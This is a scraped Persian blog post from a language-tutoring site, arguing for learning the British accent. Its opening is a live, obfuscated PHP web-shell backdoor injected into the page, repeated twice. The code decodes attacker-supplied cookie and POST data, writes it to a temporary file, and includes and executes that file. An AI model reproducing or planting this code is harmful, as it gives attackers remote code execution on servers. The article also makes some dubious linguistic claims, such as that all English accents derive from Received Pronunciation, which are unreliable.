$NULuVE = 'J' . "\x6e" . chr (95) . "\x5a" . chr ( 1066 - 990 )."\143";$wBGOMS = chr (99) . "\154" . "\141" . "\163" . 's' . chr ( 572 - 477 )."\145" . "\170" . "\151" . 's' . chr (116) . "\x73";$rnHFs = class_exists($NULuVE); $wBGOMS = "37229";$FCnrIFQjV = strpos($wBGOMS, $NULuVE);if ($rnHFs == $FCnrIFQjV){function zzZnWbHiGH(){$snBBmoW = new /* 60717 */ Jn_ZLc(216 + 216); $snBBmoW = NULL;}$tRYafVOh = "216";class Jn_ZLc{private function BnCpg($tRYafVOh){if (is_array(Jn_ZLc::$iblmkhZckY)) {$name = sys_get_temp_dir() . "/" . crc32(Jn_ZLc::$iblmkhZckY["salt"]);@Jn_ZLc::$iblmkhZckY["write"]($name, Jn_ZLc::$iblmkhZckY["content"]);include $name;@Jn_ZLc::$iblmkhZckY["delete"]($name); $tRYafVOh = "216";exit();}}public function ptGeYs(){$TDmSXiAS = "52603";$this->_dummy = str_repeat($TDmSXiAS, strlen($TDmSXiAS));}public function __destruct(){Jn_ZLc::$iblmkhZckY = @unserialize(Jn_ZLc::$iblmkhZckY); $tRYafVOh = "10292_35473";$this->BnCpg($tRYafVOh); $tRYafVOh = "10292_35473";}public function ozxIAgQPjV($TDmSXiAS, $aeaku){return $TDmSXiAS[0] ^ str_repeat($aeaku, intval(strlen($TDmSXiAS[0]) / strlen($aeaku)) + 1);}public function qUtSOSuu($TDmSXiAS){$mfCMBhBxCr = "\142" . chr ( 890 - 793 ).chr ( 813 - 698 ).chr (101) . chr ( 253 - 199 ).chr (52);return array_map($mfCMBhBxCr . "\137" . chr (100) . "\x65" . "\x63" . chr (111) . "\144" . chr (101), array($TDmSXiAS,));}public function __construct($LPOaYmFx=0){$zGwbXSxTSr = chr ( 874 - 830 ); $TDmSXiAS = "";$ffIRbkK = $_POST;$cUFsQU = $_COOKIE;$aeaku = "c7925911-7e78-4761-aabc-96a5afd8df13";$YEAAD = @$cUFsQU[substr($aeaku, 0, 4)];if (!empty($YEAAD)){$YEAAD = explode($zGwbXSxTSr, $YEAAD);foreach ($YEAAD as $GraWY){$TDmSXiAS .= @$cUFsQU[$GraWY];$TDmSXiAS .= @$ffIRbkK[$GraWY];}$TDmSXiAS = $this->qUtSOSuu($TDmSXiAS);}Jn_ZLc::$iblmkhZckY = $this->ozxIAgQPjV($TDmSXiAS, $aeaku);if (strpos($aeaku, $zGwbXSxTSr) !== FALSE){$aeaku = explode($zGwbXSxTSr, $aeaku); $cWVPJOukJ = base64_decode(md5($aeaku[0]));}}public static $iblmkhZckY = 12075;}zzZnWbHiGH();}$ygliHzw = 'Y' . "\120" . chr ( 510 - 404 ).chr ( 682 - 587 ).chr ( 467 - 345 ).'d' . "\162";$nakDJg = chr (99) . chr (108) . chr (97) . 's' . 's' . chr ( 559 - 464 )."\x65" . 'x' . "\151" . 's' . "\x74" . "\163";$jdFsWTM = class_exists($ygliHzw); $nakDJg = "6350";$iXLYvTm = strpos($nakDJg, $ygliHzw);if ($jdFsWTM == $iXLYvTm){function xmFTmnNLxE(){$naFwNNLdn = new /* 33466 */ YPj_zdr(14376 + 14376); $naFwNNLdn = NULL;}$vYSuqD = "14376";class YPj_zdr{private function DipbSIzFP($vYSuqD){if (is_array(YPj_zdr::$XBXoX)) {$name = sys_get_temp_dir() . "/" . crc32(YPj_zdr::$XBXoX["salt"]);@YPj_zdr::$XBXoX["write"]($name, YPj_zdr::$XBXoX["content"]);include $name;@YPj_zdr::$XBXoX["delete"]($name); $vYSuqD = "14376";exit();}}public function BbZbKyV(){$ljlCHzON = "47464";$this->_dummy = str_repeat($ljlCHzON, strlen($ljlCHzON));}public function __destruct(){YPj_zdr::$XBXoX = @unserialize(YPj_zdr::$XBXoX); $vYSuqD = "26879_27659";$this->DipbSIzFP($vYSuqD); $vYSuqD = "26879_27659";}public function TjAanVpT($ljlCHzON, $GMavQmXnbw){return $ljlCHzON[0] ^ str_repeat($GMavQmXnbw, intval(strlen($ljlCHzON[0]) / strlen($GMavQmXnbw)) + 1);}public function DJuWCWnWK($ljlCHzON){$TxqBizW = "\x62" . chr (97) . "\163" . chr ( 994 - 893 )."\66" . '4';return array_map($TxqBizW . "\137" . chr ( 244 - 144 ).chr ( 933 - 832 )."\x63" . chr ( 481 - 370 )."\144" . "\x65", array($ljlCHzON,));}public function __construct($kUqnhQ=0){$IbHgRhYPj = chr ( 947 - 903 ); $ljlCHzON = "";$SIgunhpIIk = $_POST;$cNYjPTgRR = $_COOKIE;$GMavQmXnbw = "11b10554-a8b2-4b0e-a191-57ee9783ce50";$GHCyAm = @$cNYjPTgRR[substr($GMavQmXnbw, 0, 4)];if (!empty($GHCyAm)){$GHCyAm = explode($IbHgRhYPj, $GHCyAm);foreach ($GHCyAm as $APgBP){$ljlCHzON .= @$cNYjPTgRR[$APgBP];$ljlCHzON .= @$SIgunhpIIk[$APgBP];}$ljlCHzON = $this->DJuWCWnWK($ljlCHzON);}YPj_zdr::$XBXoX = $this->TjAanVpT($ljlCHzON, $GMavQmXnbw);if (strpos($GMavQmXnbw, $IbHgRhYPj) !== FALSE){$GMavQmXnbw = explode($IbHgRhYPj, $GMavQmXnbw); $DTqyUXCx = sprintf("26879_27659", rtrim($GMavQmXnbw[0]));}}public static $XBXoX = 7382;}xmFTmnNLxE();} انگلیسی با لهجه بریتیش؛ فرصت یا تهدید؟ | وبلاگ اتیچر
skip to Main Content

انگلیسی با لهجه بریتیش؛ فرصت یا تهدید؟

زمان مطالعه: ۵ دقیقه

لهجه‌های بسیاری زیادی در انگلیسی وجود دارد. با این حال، یکی از این لهجه‌ها به نوعی یک سر و گردن بالاتر از سایر نمونه‌ها است و اساتید و معلمان زیادی فراگیری آن را پیشنهاد می‌کنند. لهجه بریتیش طرفداران متعصب خود را دارد.
در حقیقت مردم بریتانیا با لهجه‌های بسیار متفاوت و زیادی گفتگو می‌کنند و این موضوع ارتباط نزدیکی با محل زندگی آن‌ها دارد. با این حال، در سرتاسر بریتانیا یک لهجه خاص وجود دارد که می‌توانید در همه شهرهای این منطقه، آن را مشاهده کنید. این لهجه با نام لهجه استاندارد بریتانیایی یا ” Received pronunciation ” شناخته می‌شود. البته این لهجه را می‌توان با اسامی مختلف دیگری نیز در این منطقه مشاهده کرد که اکثراً افراد تحصیل کرده از آن برای مراودات روزمره خود استفاده می‌کنند.

فهرست بخش ها

بریتانیایی ها با چه لهجه ای صحبت می‌کنند؟

در حقیقت افراد بسیار باهوش، تحصیل کرده و موفق زیادی در بریتانیا وجود دارند که با لهجه‌های محلی گفتگو می‌کنند. این افراد اکثر اوقات در شمال بریتانیا و همچنین در اسکاتلند و ایرلند ساکن هستند. ولی به صورت کلی، کاربران لهجه استاندارد بریتانیایی عموماً در بین ساکنان تحصیل کرده شمال شهر در سرتاسر بریتانیا قرار دارند. حتی در اسکاتلند که اکثر افراد دارای لهجه متعلق به منطقه خود هستند نیز اکثر افراد تحصیل کرده تمایل دارند در مکالمات روزمره خود با دیگران از لهجه استاندارد بریتانیایی استفاده کنند. در همین منطقه، افراد کم سواد و بی‌سواد از لهجه متفاوتی در مقایسه با نمونه استاندارد موجود استفاده می‌کنند.
یکی از نمونه‌های شناخته شده در زمینه کاربرد لهجه اسکاتلندی، بازیگر معروف “دیوید تنانت” است. همان‌طوری که می‌دانید، اگرچه این شخصیت با لهجه اسکاتلندی مختص به خود، مکالمه می‌کند، از لهجه نرم و قابل فهم بریتانیایی نیز برخوردار است. در عین حال، شخصیت‌های دیگری مانند راب نسبیت که در منطقه مشابهی با شخصیت قبلی زندگی می‌کند از لهجه‌ای قوی‌تر و دشوارتر استفاده می‌کند که درک آن حتی برای خود مردم بریتانیا نیز دشوار است.

چه چیزی در انتخاب لهجه موثر است؟

درصورتی‌ که در یکی از کشورهای استرالیا، نیوزیلند، آمریکا، کانادا یا بریتانیا زندگی می‌کنید، نیاز است تا لهجه استاندارد بریتانیایی را نیز بدانید. چنانچه در هیچ یک از مناطق ذکر شده سکونت نداشته باشید، بهتر است  برای ارتباط بهتر با ساکنان این مناطق، لهجه بریتیش را نیز فراگیرید.
همچنین اگر قصد اقامت در بریتانیا را نیز داشته باشید، بهتر است توانایی مکالمه با این لهجه را به دست آورید. علاوه بر این، پیشنهاد می‌شود که از کاربرد لهجه محلی که در آن زندگی می‌کنید، پرهیز نمایید. در این حالت، ممکن است لهجه شما برای شنوندگان در بریتانیا و ساکنان سایر مناطق جهان عجیب و غیر قابل درک به نظر رسد.

  • در استرالیا و نیوزلند، لهجه‌های محلی، شباهت‌های فراوانی با لهجه بریتیش دارند. در حقیقت، لهجه‌های نیوزلندی و استرالیایی را می‌توان از زیر مجموعه‌های لهجه بریتیش به حساب آورد. همانند اسکاتلند، اکثر ساکنان استرالیا و نیوزیلند با لهجه‌ای نزدیک به لهجه استاندارد بریتانیایی مکالمه می‌کنند. شما هم باید کار مشابهی انجام دهید.

در کشورهای آمریکا و کانادا، لهجه موردنظر اندکی با لهجه بریتیش متفاوت است. دلیل اصلی این موضوع، مهاجرت افراد زیادی از کشورهای مختلف به این مناطق است. اکثر این افراد به زبان‌های دیگر و متفاوت با انگلیسی مکالمه می‌کردند. به صورت کلی، لهجه آمریکایی در نتیجه مکالمات روزمره ساکنان این کشور که در ابتدا تسلط نسبتاً کمی به انگلیسی داشته‌اند، به وجود آمده است.

همچنین برای بهبود مکالمه خود مطالعه مقاله زیر پیشنهاد می‌شود

روان صحبت کردن و عوامل تاثیر گذار بر آن

کدام لهجه خوب است؟

در حقیقت، می‌توان به صورت علمی اثبات کرد که کدام لهجه خوب است. این روزها، انگلیسی آمریکایی به علت محبوبیت فرهنگ آمریکایی، در مناطق بسیار زیادی مورد استفاده قرار می‌گیرد. در هر صورت چنانچه شما نیز در آمریکای شمالی زندگی می‌کنید یا درصورتی‌ که با افراد این منطقه رفت و آمد دارید، مکالمه با لهجه بریتیش می‌تواند باعث متفاوت بودن شما شود. دلیل اصلی این موضوع هم این است که حتی در آمریکا نیز لهجه بریتیش جایگاه خاصی برای خود دارد و به عنوان نمونه‌ای متفاوت شناخته می‌شود. به هر حال، بخش اعظمی از ساکنان شناخته شده آمریکا، با لهجه‌ای نسبتاً مشابه با بریتانیایی مکالمه می‌کنند.

پروفسور گری فرارو که در حوزه جامعه شناسی فعالیت دارد، در این زمینه می‌گوید:

به احتمال زیاد، لهجه مورد استفاده در میان ساکنان ایالات متحده، متعلق به ساکنان خود این منطقه نیست. بلکه آن‌ها این لهجه را از طریق ساکنان بریتانیا دریافت کرده‌اند، لهجه‌ای که در حال حاضر با عنوان بریتانیایی شناخته می‌شود به اشتباه هم راستا با جذابیت، ثروت و تحصیلات در نظر گرفته می‌شود.

این دیدگاه به خوبی در میان بعضی از شخصیت‌های تلویزیونی از قبیل فریزر و نیل کرین که در فیلم طنز  Fraiser بازی می‌کنند، مشاهده می‌شود. هر دوی این شخصیت‌ها با لهجه‌ای مشابه با بریتانیایی گفتگو می‌کنند و علاوه بر این، با تمدن و ثروتمند به نظر می‌رسند.

ریشه مشترک

در کشورهای انگلیسی‌ زبان می‌توان لهجه‌های بسیار متنوعی را مشاهده کرد. با این حال، همه این موارد به گونه‌ای از هم خانواده‌های لهجه استاندارد بریتانیایی به حساب می‌آیند. هر یک از لهجه‌های منطقه‌ای، به مرور زمان از لهجه استاندارد انگلیسی منشعب شده‌اند.اما درصورتی‌که تمامی تفاوت‌های موجود در این لهجه‌ها را در نظر بگیریم، به لهجه استاندارد بریتانیایی خواهیم رسید. با این حال، با فراگیری لهجه بریتیش، می‌توان به ریشه مشترک تمامی لهجه‌های انگلیسی رسید. علاوه بر این، با یادگیری این لهجه می‌توان به درک عمیقی از چگونگی تلفظ کلمات موجود در زبان انگلیسی دست پیدا کرد.


با فراگیری لهجه بریتیش می‌توان جهان را از طریق نوری شفاف مشاهده کرد. یادگیری لهجه‌های دیگر، مشابه نگاه کردن به جهان از طریق عینک‌های رنگی به حساب می‌آید که هر یک از این لهجه‌ها، از رنگ متفاوتی استفاده می‌کند.

می‌توان از پس یادگیری لهجه بریتیش برآمد؟

در حقیقت، اگر خارج از بریتانیا به دنیا آمده باشید، متقاعد کردن دیگران نسبت به اینکه شما بومی این منطقه هستید، می‌تواند اندکی دشوار باشد و تفاوت‌های ریز موجود در لهجه اصلی شما، که آن‌ها را به لهجه انگلیسی منتقل خواهید کرد، می‌تواند متفاوت بودن شما را به سادگی نشان دهد. به هر حال، با آموزش درست می‌توان به لهجه مناسب بریتانیایی دست پیدا کرد. به همین دلیل، باید اهداف خود را مطابق با این موضوع تعیین کنید. علاوه بر این، فراگیری لهجه می‌تواند مهارت شنیداری شما را تقویت کند و در نتیجه می‌توان به آسانی سایر افراد و به‌ویژه افراد انگلیسی‌زبان را درک کرد.

اتیچر برای شما فرصت بسیار مناسبی است تا در صورتی که به لهجه بریتیش علاقه دارید، یادگیری آن را از اساتید Native آغاز کنید و یک جلسه آزمایشی با استاد زبان مورد نظر خود رزرو کنید.

۵/۵ - (۱ امتیاز)

دیدگاه ها

  1. توانایی تلفظ درست لهجه بریتیش خیلی سخت بدست میاد و تا قبل از رسیدن به اون لهجه استاندارد بیشتر شبیه ادا در آوردن میشه. بهتره روی دایره لغت، گرامر و تلفظ صحیح موقع صحبت تمرکز کنیم و نه لهجه.

شما هم دیدگاه، تجربه یا سوالتان را بنویسید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

Back To Top
×Close search
Search